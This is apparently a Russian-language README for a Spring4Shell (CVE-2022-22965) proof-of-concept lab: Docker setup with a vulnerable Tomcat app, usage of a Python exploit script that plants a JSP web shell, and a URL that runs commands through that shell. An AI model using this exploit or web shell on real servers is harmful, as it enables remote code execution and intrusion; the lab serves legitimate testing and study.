
Эксплойт для проверки концепции (Proof-of-Concept) для CVE-2022-22965 (Spring4Shell) с уязвимым приложением Spring Boot, скриптом эксплойта на Python и лабораторной средой на основе Docker для тестирования.
Это доказательство концепции эксплойта для уязвимости CVE-2022-22965 (spring4shell). Он состоит из:
В корневой папке проекта находится Dockerfile, который создаёт образ Tomcat и копирует файлы vulnerable_app/target/spring4shell.war и safe_app/target/safeapp.war в папку /usr/local/tomcat/webapps, так что вам нужно только собрать образ и запустить контейнер.
docker build -t cve_2022_22965 .
docker run -p 8080:8080 -d --name springshell cve_2022_22965
curl --location --request POST http://localhost:8080/spring4shell/vulnerability/exploit?name=Elliot%20Alderson
Если вы увидите такой ответ
This is Elliot Alderson
Значит, приложение запущено и работает.
cd exploits
python spring4shell.py http://localhost:8080/spring4shell/vulnerability/exploit
Вы можете опционально указать имя внедряемого jsp-файла, но это необязательно. Пример
cd exploits
python spring4shell.py http://localhost:8080/spring4shell/vulnerability/exploit -f exploit.jsp
Если вы не укажете имя, будет сгенерировано случайное.
В командной оболочке вы увидите следующее

После эксплойта вы также можете отправить команду через HTTP GET-запрос
http://localhost:8080/exploit.jsp?pwd=pass&cmd=ls
Вы успешно открыли оболочку на целевой машине! наслаждайтесь